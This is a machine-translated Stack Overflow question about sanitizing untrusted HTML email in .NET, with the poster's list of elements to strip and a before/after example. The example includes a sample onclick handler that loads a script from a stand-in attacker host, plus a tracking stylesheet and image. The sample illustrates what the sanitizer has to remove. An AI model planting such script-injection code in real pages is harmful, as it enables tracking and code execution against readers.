T.J*_*der 32 .net html sanitization html-sanitizing
这是一个常见的问题,我希望它已经彻底解决了我.
在我正在为客户端做的系统中,我们希望从不受信任的来源(HTML格式的电子邮件和HTML文件)接受HTML,清理它以使其没有任何脚本,指向外部资源的链接以及其他安全性/等等 问题; 然后安全地显示它,同时不丢失基本格式.例如,就像电子邮件客户端使用HTML格式的电子邮件一样,但理想情况下不会重复在该领域中已经发生的347,821错误(到目前为止).:-)
目标是最终通过iframe我们自己的Web界面或通过.Net Windows窗体应用程序中的WebBrowser类(这似乎不安全,可能不那么)向内部用户显示我们感觉舒适的东西,以下示例.
我们认识到其中一些可能会破坏文本的显示; 没关系.
我们将在接收时清理HTML并存储已清理的版本(不要担心存储部分 - SQL注入等 - 我们已经覆盖了这一点).
该软件需要在Windows Server上运行.COM DLL或.Net程序集首选.FOSS显然是首选,但不是交易破坏者.
到目前为止我发现了什么:
你会为这项任务推荐什么?以上之一?别的什么?
例如,我们想删除以下内容:
script 分子link,img以及与外部资源相关的此类元素(可能会替换img为"[图像已删除]"或其中一些此类文本)embed,object,applet,audio,video,并尝试创建对象的其他标签onclick 和类似的DOM0事件处理程序脚本代码href关于a触发代码的元素(即使是我们认为可以接受的链接,我们也可能会变成用户必须有意复制并粘贴到浏览器中的明文).例如,这个HTML:
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
<link rel="stylesheet" type="text/css" href="http://evil.example.com/tracker.css">
</head>
<body>
<p onclick="(function() { var s = document.createElement('script'); s.src = 'http://evil.example.com/scriptattack.js'; document.body.appendChild(s);)();">
<strong>Hi there!</strong> Here's my nefarious tracker image:
<img src='http://evil.example.com/xparent.gif'>
</p>
</body>
</html>
Run Code Online (Sandbox Code Playgroud)
会成为
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
</head>
<body>
<p>
<strong>Hi there!</strong> Here's my nefarious tracker image:
[image removed]
</p>
</body>
</html>
Run Code Online (Sandbox Code Playgroud)
(注意我们完全删除了link它onclick,并用img占位符替换了它.这只是我们想要剥离的一小部分.)
| 归档时间: |
|
| 查看次数: |
4380 次 |
| 最近记录: |